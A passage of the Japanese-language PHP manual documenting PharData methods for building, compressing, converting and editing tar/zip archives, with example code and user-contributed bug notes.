    fclose($c);
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

注意

注意: PharData::addFile(), PharData::addFromString(), PharData::offsetSet() は、呼び出されるたびに新しいPharアーカイブを生成します。パフォーマンスを気にするなら、代わりに PharData::buildFromDirectory() や PharData::buildFromIterator() を使うべきです。

参考

  • PharData::offsetSet() - tar/zip の内部のファイルに、外部ファイルあるいは文字列の内容を設定する
  • Phar::addFromString() - 文字列から、ファイルを phar アーカイブに追加する
  • PharData::addFile() - ファイルシステム上のファイルを tar/zip アーカイブに追加する
  • PharData::addEmptyDir() - 空のディレクトリを tar/zip アーカイブに追加する

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリ内のファイルから tar/zip アーカイブを作成する

  • ≪ PharData::addFromString
  • PharData::buildFromIterator ≫
  • PHP Manual
  • PharData
  • ディレクトリ内のファイルから tar/zip アーカイブを作成する

PharData::buildFromDirectory

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::buildFromDirectory — ディレクトリ内のファイルから tar/zip アーカイブを作成する

説明

public PharData::buildFromDirectory ( string $base_dir , string $regex = ? ) : array

ディレクトリの中身をもとに tar/zip アーカイブを作成します。 オプションの 2 番目のパラメータで正規表現 (pcre) を指定すると、特定のファイルを除外することができます。 正規表現にマッチするすべてのファイルがアーカイブに含められ、 それ以外のファイルは除外されます。より詳細に制御するには PharData::buildFromIterator() を使用します。

パラメータ

base_dir

アーカイブに追加するすべてのファイルを含むディレクトリへの フルパスあるいは相対パス。

regex

オプションで指定する pcre 正規表現。 これを使用してファイル一覧をフィルタリングします。 正規表現にマッチするファイルパスのみがアーカイブに追加されます。

返り値

Phar::buildFromDirectory() は、連想配列を返します。これは、 ファイルの内部パスをファイルシステム上のフルパスを対応させたものです。

エラー / 例外

このメソッドは、内部ディレクトリイテレータのインスタンスの作成に失敗したときに BadMethodCallException をスローします。 また、phar アーカイブの保存時にエラーが発生した場合は PharException をスローします。

例

例1 PharData::buildFromDirectory() の例

<?php
$phar = new PharData('project.tar');
// project 内のすべてのファイルを追加します
$phar->buildFromDirectory(dirname(__FILE__) . '/project');

$phar2 = new PharData('project2.zip');
// project 内のファイルのうち、php ファイルだけを追加します
$phar2->buildFromDirectory(dirname(__FILE__) . '/project', '/\.php$/');
?>

参考

  • Phar::buildFromDirectory() - ディレクトリ内のファイルから phar を作成する
  • PharData::buildFromIterator() - イテレータから tar あるいは zip アーカイブを作成する

User Contributed Notes

dan 11-Oct-2019 04:43
buildFromDirectory won't add empty subdirectories on 7.2


イテレータから tar あるいは zip アーカイブを作成する

  • ≪ PharData::buildFromDirectory
  • PharData::compress ≫
  • PHP Manual
  • PharData
  • イテレータから tar あるいは zip アーカイブを作成する

PharData::buildFromIterator

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::buildFromIterator — イテレータから tar あるいは zip アーカイブを作成する

説明

public PharData::buildFromIterator ( Iterator $iter , string $base_directory = ? ) : array

tar あるいは zip アーカイブをイテレータから作成します。 サポートするイテレータは二種類で、 tar/zip 内のファイル名とディスク上の実際のファイル名を対応させたものか、あるいは DirectoryIterator のように SplFileInfo オブジェクトを返すものです。 SplFileInfo オブジェクトを返すイテレータの場合は、2 番目のパラメータが必要となります。

例

例1 SplFileInfo を使用した PharData::buildFromIterator() の例

ほとんどの tar/zip アーカイブは、実際のディレクトリ構造を反映した形式になっています。 このような場合は 2 番目の方式が最適です。 たとえば、次のようなディレクトリ構成のファイルを含む tar/zip アーカイブを作成してみることにしましょう。

/path/to/project/
                 config/
                        dist.xml
                        debug.xml
                 lib/
                     file1.php
                     file2.php
                 src/
                     processthing.php
                 www/
                     index.php
                 cli/
                     index.php

次のコードを使用すると、これらのファイルを tar アーカイブ "project.tar" に追加します。

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new RecursiveDirectoryIterator('/path/to/project')),
    '/path/to/project');
?>

これで、ファイル project.tar はすぐに使えるようになります。 PharData::buildFromIterator() は圧縮やメタデータの設定を行いません。 これらは tar/zip アーカイブを作成した後で行うことができます。

興味深いことに、PharData::buildFromIterator() を使用して既存の phar や tar、あるいは zip アーカイブの中身をコピーすることもできます。 というのも PharData オブジェクトは DirectoryIterator を継承しているからです。

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new Phar('/path/to/anotherphar.phar')),
    'phar:///path/to/anotherphar.phar/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

例2 その他のイテレータを使用した PharData::buildFromIterator() の例

それ以外の形式のイテレータでは、 key => value の対応を返すものを使用できます。たとえば ArrayIterator などです。

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
    new ArrayIterator(
     array(
        'internal/file.php' => dirname(__FILE__) . '/somefile.php',
        'another/file.jpg' => fopen('/path/to/bigfile.jpg', 'rb'),
     )));
?>

パラメータ

iter

phar ファイルと実際の場所の関連を返すイテレータ、 あるいは SplFileInfo オブジェクトを返すイテレータ。

base_directory

SplFileInfo オブジェクトを返すイテレータを指定した際、 tar/zip アーカイブへの追加時にフルパスから取り除く部分。

返り値

PharData::buildFromIterator() は連想配列を返します。 これは、ファイルの内部パスとファイルシステム上のフルパスを対応させたものです。

エラー / 例外

このメソッドは、イテレータが間違った値 (たとえば文字列キーではなく整数キーなど) を返した場合に UnexpectedValueException を返します。また、SplFileInfo 型のイテレータを渡したときに base_directory を指定しなかった場合は BadMethodCallException を、 phar アーカイブの保存時にエラーが発生した場合は PharException を返します。

参考

  • Phar::buildFromIterator() - イテレータから phar アーカイブを作成する

User Contributed Notes

cbonnissent 11-Sep-2014 07:41
The code in the first exemple doesn't work properly without the flag  FilesystemIterator::SKIP_DOTS in the RecursiveDirectoryIterator (on a linux filesystem).

So, to build a tar with a phar, I do (with two level of iteration here) :

            $pharTar = new \PharData($contentTar.".tar");
            $firstLevelIterator = new \DirectoryIterator($this->inputPath);
            foreach ($firstLevelIterator as $fileInfo) {
                /* @var \SplFileInfo $fileInfo */
                if (in_array($fileInfo->getFilename(), $allowedDirectory)) {
                    $recursiveDirectoryIterator = new \RecursiveDirectoryIterator(
                        $this->inputPath . DIRECTORY_SEPARATOR . $fileInfo->getFilename(), \FilesystemIterator::SKIP_DOTS);
                    $pharTar->buildFromIterator(new \RecursiveIteratorIterator($recursiveDirectoryIterator), $this->inputPath);
                }
            }


tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する

  • ≪ PharData::buildFromIterator
  • PharData::compressFiles ≫
  • PHP Manual
  • PharData
  • tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する

PharData::compress

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::compress — tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する

説明

public PharData::compress ( int $compression , string $extension = ? ) : PharData

tar 形式のアーカイブの場合は、 このメソッドはアーカイブ全体を gzip あるいは bzip2 で圧縮します。 できあがったファイルは gunzip/bunzip コマンドで処理することもできますし、 Phar 拡張モジュールで直接透過的に使用することもできます。

zip 形式のアーカイブの場合は、このメソッドは失敗して例外が発生します。 gzip で圧縮するためには zlib 拡張モジュールが、そして bzip2 で圧縮するためには bzip2 拡張モジュールが有効になっていなければなりません。

さらに、このメソッドは自動的にアーカイブの名前を変更し、 .gz あるいは .bz2 を追加します。Phar::NONE を渡して圧縮を解除した場合は拡張子も削除します。 もうひとつの方法として、ファイルの拡張子を 2 番目のパラメータで指定することもできます。

パラメータ

compression

圧縮を行う場合には Phar::GZ あるいは
Phar::BZ2、圧縮を解除する場合には
Phar::NONE を指定します。

extension

デフォルトでは、tar を圧縮する際の拡張子は .tar.gz あるいは .tar.bz2、伸長する際の拡張子は .tar となります。

返り値

PharData オブジェクトを返します。

エラー / 例外

zlib 拡張モジュールが使用できない場合、あるいは bzip2 拡張モジュールが使用できない場合に BadMethodCallException をスローします。

例

例1 PharData::compress() の例

<?php
$p = new PharData('/path/to/my.tar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p1 = $p->compress(Phar::GZ); // /path/to/my.tar.gz にコピーします
$p2 = $p->compress(Phar::BZ2); // /path/to/my.tar.bz2 にコピーします
$p3 = $p2->compress(Phar::NONE); // 例外: /path/to/my.tar が既に存在します
?>

参考

  • Phar::compress() - Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する

User Contributed Notes

Christopher Marshall 05-Apr-2016 09:57
This is a very irritating bug. You can use this to get around it though:

$data = 'some.test.string';
$phar = new PharData('test.tar');

$phar->compress(Phar::GZ, substr($data, strpos($data, '.') + 1));
c6h1206free at gmail dot com 23-Feb-2016 04:59
This method destroys everything after the first dot in your filename and replaces it with the zip extension (.tar.gz, etc)

Example:

<?php

$tarfile = "2.5.0.0-RC1.tar";
$pd = new \PharData($tarfile);
$pd->buildFromDirectory("/path/to/contents");
$pd->compress(\Phar::GZ);

?>

Ends up with a file named "2.tar.gz"


現在の tar/zip アーカイブ内のすべてのファイルを圧縮する

  • ≪ PharData::compress
  • PharData::__construct ≫
  • PHP Manual
  • PharData
  • 現在の tar/zip アーカイブ内のすべてのファイルを圧縮する

PharData::compressFiles

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::compressFiles — 現在の tar/zip アーカイブ内のすべてのファイルを圧縮する

説明

public PharData::compressFiles ( int $compression ) : void

tar 形式の phar アーカイブでは、このメソッドは BadMethodCallException をスローします。 というのも、tar ファイルフォーマットではアーカイブ内の個別のファイルの圧縮をサポートしていないからです。 PharData::compress() を使用して、tar 形式の phar アーカイブ全体を圧縮します。

zip 形式のアーカイブでは、 このメソッドは Phar アーカイブ内のすべてのファイルを指定した方式で圧縮します。 この機能を使用するには、zlib 拡張モジュールあるいは bzip2 拡張モジュールが有効になっている必要があります。さらに、 もし既に bzip2/zlib で圧縮されているファイルがある場合は、 いったんその圧縮を解除するために対応する拡張モジュールが必要となります。

パラメータ

compression

圧縮を行う場合は Phar::GZ あるいは Phar::BZ2、圧縮を解除するためには Phar::NONE のいずれかを指定しなければなりません。

返り値

値を返しません。

エラー / 例外

INI 設定 phar.readonly が on の場合、zlib 拡張モジュールが有効でない場合、 あるいは既に bzip2 圧縮されているファイルがあるのに bzip2 拡張モジュールが有効でない場合に BadMethodCallException をスローします。

例

例1 PharData::compressFiles() の例

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

上の例の出力は以下となります。

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • PharData::decompressFiles() - 現在の zip アーカイブ内のすべてのファイルの圧縮を解除する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す
  • PharData::compress() - tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • PharData::decompress() - Phar アーカイブ全体の圧縮を解除する

User Contributed Notes

There are no user contributed notes for this page.


実行可能でない tar あるいは zip アーカイブオブジェクトを作成する

  • ≪ PharData::compressFiles
  • PharData::convertToData ≫
  • PHP Manual
  • PharData
  • 実行可能でない tar あるいは zip アーカイブオブジェクトを作成する

PharData::__construct

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::__construct — 実行可能でない tar あるいは zip アーカイブオブジェクトを作成する

説明

public PharData::__construct ( string $fname , int $flags = ? , string $alias = ? , int $format = Phar::TAR )

パラメータ

fname

既存の tar/zip アーカイブあるいは作成したいアーカイブへのパス。

flags

親クラス Phar の RecursiveDirectoryIterator に渡すフラグ。

alias

この Phar アーカイブをストリーム機能からコールするときに使うエイリアス。

format

Phar クラスの ファイルフォーマット定数 のいずれか。

エラー / 例外

2 度コールされた場合に BadMethodCallException、 phar アーカイブのオープンに失敗した場合に UnexpectedValueException をスローします。

例

例1 PharData::__construct() の例

<?php
try {
    $p = new PharData('/path/to/my.tar', Phar::CURRENT_AS_FILEINFO | Phar::KEY_AS_FILENAME);
} catch (UnexpectedValueException $e) {
    die('Could not open my.tar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}
echo file_get_contents('phar:///path/to/my.tar/example.txt');
?>

User Contributed Notes

There are no user contributed notes for this page.


phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

  • ≪ PharData::__construct
  • PharData::convertToExecutable ≫
  • PHP Manual
  • PharData
  • phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

PharData::convertToData

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::convertToData — phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

説明

public PharData::convertToData ( int $format = ? , int $compression = ? , string $extension = ? ) : PharData

このメソッドは、実行可能でない tar あるいは zip アーカイブを別の実行可能でない形式に変換します。

何も変更しなかった場合、このメソッドは BadMethodCallException をスローします。 このメソッドは、tar アーカイブを zip 形式に変換するか あるいはその逆の変換をする場合に使用するものです。 このメソッドで単に tar アーカイブの圧縮方法だけを変更することもできますが、 その場合は PharData::compress() を使うことをおすすめします。

成功した場合は、このメソッドはディスク上に新しいアーカイブを作成して PharData オブジェクトを返します。 古いアーカイブは削除されずディスク上に残るので、 処理を終えたら手動で削除する必要があります。

パラメータ

format

これは Phar::TAR あるいは Phar::ZIP のいずれかとなります。 null を指定すると、現在のファイル形式をそのまま保持します。

compression

アーカイブ全体の圧縮を行わない場合は Phar::NONE、
zlib による圧縮の場合は Phar::GZ、そして bzip による圧縮の場合は
Phar::BZ2 のいずれかを指定します。

extension

このパラメータは、変換後のアーカイブのデフォルトのファイル拡張子を変更します。 実行可能でない tar や zip アーカイブのファイル名としては .phar は使用できないことに注意しましょう。

tar 形式の phar アーカイブの場合、デフォルトの拡張子は圧縮形式によって .tar、.tar.gz、 .tar.bz2 のいずれかとなります。 zip 形式のアーカイブの場合、デフォルトの拡張子は .zip となります。

返り値

このメソッドは、成功した場合に PharData オブジェクトを返します。失敗した場合は例外をスローします。

エラー / 例外

圧縮ができない場合や無効な圧縮方式が指定された場合、あるいは Phar::startBuffering() でバッファリングしたまま Phar::stopBuffering() を実行していないアーカイブを処理しようとした場合に BadMethodCallException をスローします。 また、phar 作成中に何らかの問題が発生した場合に PharException をスローします。

例

例1 PharData::convertToData() の例

PharData::convertToData() の使用法です。

<?php
try {
    $tarphar = new PharData('myphar.tar');
    // myphar.tar は削除 *されない* ことに注意しましょう
    // 実行可能ではない tar 形式に変換し
    // myphar.zip を作成します
    $zip = $tarphar->convertToData(Phar::ZIP);
    // myphar.tbz を作成します
    $tgz = $zip->convertToData(Phar::TAR, Phar::BZ2, '.tbz');
    // myphar.phar.tgz を作成します
    $phar = $tarphar->convertToData(Phar::PHAR); // throws exception
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

参考

  • Phar::convertToExecutable() - phar アーカイブを実行可能な別の phar アーカイブ形式に変換する
  • Phar::convertToData() - phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する
  • PharData::convertToExecutable() - 実行可能でない tar/zip アーカイブを実行可能な phar アーカイブ形式に変換する

User Contributed Notes

There are no user contributed notes for this page.


実行可能でない tar/zip アーカイブを実行可能な phar アーカイブ形式に変換する

  • ≪ PharData::convertToData
  • PharData::copy ≫
  • PHP Manual
  • PharData
  • 実行可能でない tar/zip アーカイブを実行可能な phar アーカイブ形式に変換する

PharData::convertToExecutable

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::convertToExecutable — 実行可能でない tar/zip アーカイブを実行可能な phar アーカイブ形式に変換する

説明

public PharData::convertToExecutable ( int $format = ? , int $compression = ? , string $extension = ? ) : Phar

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

このメソッドは、実行可能でない tar あるいは zip アーカイブを実行可能な phar 形式に変換します。実行可能なファイル形式 3 種類 (phar, tar あるいは zip) のどれでも使用することができ、アーカイブ全体の圧縮も行うことができます。

何も変更しなかった場合、このメソッドは BadMethodCallException をスローします。

成功した場合は、このメソッドはディスク上に新しいアーカイブを作成して Phar オブジェクトを返します。 古いアーカイブは削除されずディスク上に残るので、 処理を終えたら手動で削除する必要があります。

パラメータ

format

これは Phar::PHAR、Phar::TAR あるいは Phar::ZIP のいずれかとなります。 null を指定すると、現在のファイル形式をそのまま保持します。

compression

アーカイブ全体の圧縮を行わない場合は Phar::NONE、
zlib による圧縮の場合は Phar::GZ、そして bzip による圧縮の場合は
Phar::BZ2 のいずれかを指定します。

extension

このパラメータは、変換後のアーカイブのデフォルトのファイル拡張子を変更します。 実行可能でない tar や zip アーカイブのファイル名としては .phar は使用できないことに注意しましょう。

phar 形式のアーカイブに変換する場合、デフォルトの拡張子は圧縮形式によって .phar、.phar.gz あるいは .phar.bz2 のいずれかとなります。tar 形式のアーカイブの場合、デフォルトの拡張子は .phar.tar、.phar.tar.gz および .phar.tar.bz2 です。zip 形式のアーカイブの場合、 デフォルトの拡張子は .phar.zip となります。

返り値

このメソッドは、成功した場合に Phar オブジェクトを返します。失敗した場合は例外をスローします。

エラー / 例外

圧縮ができない場合や無効な圧縮方式が指定された場合、あるいは Phar::startBuffering() でバッファリングしたまま Phar::stopBuffering() を実行していないアーカイブを処理しようとした場合に BadMethodCallException をスローします。 また、書き込みサポートが無効な場合に UnexpectedValueException、 phar 作成中に何らかの問題が発生した場合に PharException をスローします。

例

例1 PharData::convertToExecutable() の例

PharData::convertToExecutable() の使用例です。

<?php
try {
    $tarphar = new PharData('myphar.tar');
    // phar ファイル形式に変換します
    // myphar.tar は削除 *されない* ことに注意しましょう
    $phar = $tarphar->convertToExecutable(Phar::PHAR); // creates myphar.phar
    $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
    // myphar.phar.tgz を作成します
    $compressed = $tarphar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

参考

  • Phar::convertToExecutable() - phar アーカイブを実行可能な別の phar アーカイブ形式に変換する
  • Phar::convertToData() - phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する
  • PharData::convertToData() - phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

User Contributed Notes

zoddo.ino[at]gmaildotcom 15-Nov-2014 06:53
It doesn't work

Fatal error: Uncaught exception 'UnexpectedValueException' with message 'Cannot convert phar archive "C:/xxxxxxxxxxx.zip", unable to open entry "sub-directory/" contents: phar error: internal corruption of zip-based phar "C:/xxxxxxxxxxx.zip" (local header of file sub-directory/" does not match central directory)' in C:\xxxxxxxxxxx.php on line 5


phar アーカイブ内のファイルを、phar 内で別の新しいファイルとしてコピーする

  • ≪ PharData::convertToExecutable
  • PharData::decompress ≫
  • PHP Manual
  • PharData
  • phar アーカイブ内のファイルを、phar 内で別の新しいファイルとしてコピーする

PharData::copy

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::copy — phar アーカイブ内のファイルを、phar 内で別の新しいファイルとしてコピーする

説明

public PharData::copy ( string $oldfile , string $newfile ) : bool

phar アーカイブ内のファイルを、そのアーカイブ内で別の新しいファイルとしてコピーします。 これは、phar ストリームラッパーでの copy() と同等の操作をオブジェクト指向で行うものです。

パラメータ

oldfile

newfile

返り値

成功した場合に true を返します。しかし、より安全を期すなら try/catch ブロック内で使用して例外がスローされないことを確認するといいでしょう。

エラー / 例外

コピー元のファイルが存在しない、コピー先のファイルが既に存在する、 書き込みアクセスが無効になっている、どちらかのファイルのオープンに失敗した、 あるいはコピー元のファイルの読み込みに失敗した場合に UnexpectedValueException をスローします。 変更内容の phar への書き込みに失敗した場合は PharException をスローします。

例

例1 PharData::copy() の例

この例は、PharData::copy() の使用法のほかに それと同等の操作をストリームラッパーで行う方法を示すものです。 これらの方式の最大の違いはエラー処理です。 PharData のすべてのメソッドは例外をスローしますが、ストリームラッパーの場合は trigger_error() を使用します。

<?php
try {
    $phar = new PharData('myphar.tar');
    $phar['a'] = 'hi';
    $phar->copy('a', 'b');
    echo $phar['b']; // 出力は "phar://myphar.tar/b"
} catch (Exception $e) {
    // エラー処理
}

// 上のコードと同等の処理をストリームラッパーで行う例。
// エラー時には例外ではなく E_WARNINGS が発生します
copy('phar://myphar.tar/a', 'phar//myphar.tar/c');
echo file_get_contents('phar://myphar.tar/c'); // 出力は "hi"
?>

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブ全体の圧縮を解除する

  • ≪ PharData::copy
  • PharData::decompressFiles ≫
  • PHP Manual
  • PharData
  • Phar アーカイブ全体の圧縮を解除する

PharData::decompress

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::decompress — Phar アーカイブ全体の圧縮を解除する

説明

public PharData::decompress ( string $extension = ? ) : PharData

tar 形式のアーカイブの場合は、 このメソッドはアーカイブ全体の圧縮を解除します。

zip 形式のアーカイブの場合は、このメソッドは失敗して例外が発生します。 gzip で圧縮されたファイルの圧縮を解除するためには zlib 拡張モジュールが、そして bzip2 で圧縮されたファイルの圧縮を解除するためには bzip2 拡張モジュールが有効になっていなければなりません。

さらに、このメソッドは自動的にアーカイブの拡張子を変更し、 .tar をデフォルトで追加します。 もうひとつの方法として、ファイルの拡張子を extension パラメータで指定することもできます。

パラメータ

extension

圧縮を解除する場合、デフォルトのファイル拡張子は .tar です。 このパラメータを使用すると、別の拡張子を指定することができます。 実行可能なアーカイブのみが、ファイル名に .phar を含むことができることに注意しましょう。

返り値

PharData オブジェクトを返します。

エラー / 例外

zlib 拡張モジュールが使用できない場合、あるいは bzip2 拡張モジュールが使用できない場合に BadMethodCallException をスローします。

例

例1 PharData::decompress() の例

<?php
$p = new PharData('/path/to/my.tar.gz');
$p->decompress(); // これは、/path/to/my.tar を作成します
?>

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • PharData::compress() - tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • PharData::compress() - tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す
  • PharData::compressFiles() - 現在の tar/zip アーカイブ内のすべてのファイルを圧縮する
  • PharData::decompressFiles() - 現在の zip アーカイブ内のすべてのファイルの圧縮を解除する

User Contributed Notes

pttlens at gmail dot com 15-Nov-2018 08:25
If filename contains multiple dots(.), you can preserve other parts by following code (example1).

Example #1 (Expected)
<?php
$filename = "abc.xyz.tar.gz";
$p = new PharData($filename);
$exts = explode('.', $filename);
array_shift($exts);
array_pop($exts);
$ext = implode('.', $exts);
$p->decompress($ext); # result filename: abc.xyz.tar
?>

Example #2 (might be unexpected)
<?php
$filename = "abc.xyz.tar.gz";
$p = new PharData($filename);
$p->decompress($filename); # result filename: abc.tar; xyz is truncated accidentally.
?>


現在の zip アーカイブ内のすべてのファイルの圧縮を解除する

  • ≪ PharData::decompress
  • PharData::delMetadata ≫
  • PHP Manual
  • PharData
  • 現在の zip アーカイブ内のすべてのファイルの圧縮を解除する

PharData::decompressFiles

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::decompressFiles — 現在の zip アーカイブ内のすべてのファイルの圧縮を解除する

説明

public PharData::decompressFiles ( ) : bool

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

tar 形式の phar アーカイブでは、このメソッドは BadMethodCallException をスローします。 というのも、tar ファイルフォーマットではアーカイブ内の個別のファイルの圧縮をサポートしていないからです。 PharData::compress() を使用して、tar 形式の phar アーカイブ全体を圧縮します。

zip 形式のアーカイブでは、 このメソッドはアーカイブ内のすべてのファイルの圧縮を解除します。 もし bzip2/zlib で圧縮されているファイルがある場合は、 この機能を使用するには、zlib 拡張モジュールあるいは bzip2 拡張モジュールが有効になっている必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

zlib 拡張モジュールが有効でない場合、 あるいは既に bzip2 圧縮されているファイルがあるのに bzip2 拡張モジュールが有効でない場合に BadMethodCallException をスローします。

例

例1 PharData::decompressFiles() の例

<?php
$p = new PharData('/path/to/my.zip');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->decompressFiles();
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

上の例の出力は以下となります。

string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • PharData::compressFiles() - 現在の tar/zip アーカイブ内のすべてのファイルを圧縮する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す
  • PharData::compress() - tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • PharData::decompress() - Phar アーカイブ全体の圧縮を解除する

User Contributed Notes

There are no user contributed notes for this page.


zip アーカイブのグローバルメタデータを削除する

  • ≪ PharData::decompressFiles
  • PharData::delete ≫
  • PHP Manual
  • PharData
  • zip アーカイブのグローバルメタデータを削除する

PharData::delMetadata

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::delMetadata — zip アーカイブのグローバルメタデータを削除する

説明

public PharData::delMetadata ( ) : bool

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

zip アーカイブのグローバルメタデータを削除します。

パラメータ

返り値

成功した場合に true を返します。しかし、より安全を期すなら 例外がスローされないことを確認するといいでしょう。

エラー / 例外

変更をディスクに書き戻す際にエラーが発生した場合は PharException をスローします。

例

例1 PharData::delMetaData() の例

<?php
try {
    $phar = new PharData('myphar.zip');
    var_dump($phar->getMetadata());
    $phar->setMetadata("hi there");
    var_dump($phar->getMetadata());
    $phar->delMetadata();
    var_dump($phar->getMetadata());
} catch (Exception $e) {
    // エラー処理
}
?>

上の例の出力は以下となります。

NULL
string(8) "hi there"
NULL

参考

  • Phar::delMetadata() - phar のグローバルメタデータを削除する

User Contributed Notes

There are no user contributed notes for this page.


tar/zip アーカイブ内のファイルを削除する

  • ≪ PharData::delMetadata
  • PharData::extractTo ≫
  • PHP Manual
  • PharData
  • tar/zip アーカイブ内のファイルを削除する

PharData::delete

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::delete — tar/zip アーカイブ内のファイルを削除する

説明

public PharData::delete ( string $entry ) : bool

アーカイブ内のファイルを削除します。 これは、ストリームラッパー上で unlink() をコールするのと同じ意味です。以下に例を示します。

パラメータ

entry

削除したいファイルの、アーカイブ内でのパス。

返り値

成功した場合に true を返します。 しかし、例外がスローされているかどうかを確認したうえで 例外がなければ成功とみなすほうがいいでしょう。

エラー / 例外

変更内容をディスクに書き込む際にエラーが発生した場合は PharException をスローします。

例

例1 PharData::delete() の例

<?php
try {
    $phar = new PharData('myphar.zip');
    $phar->delete('unlink/me.php');
    // これは以下と同じ意味です
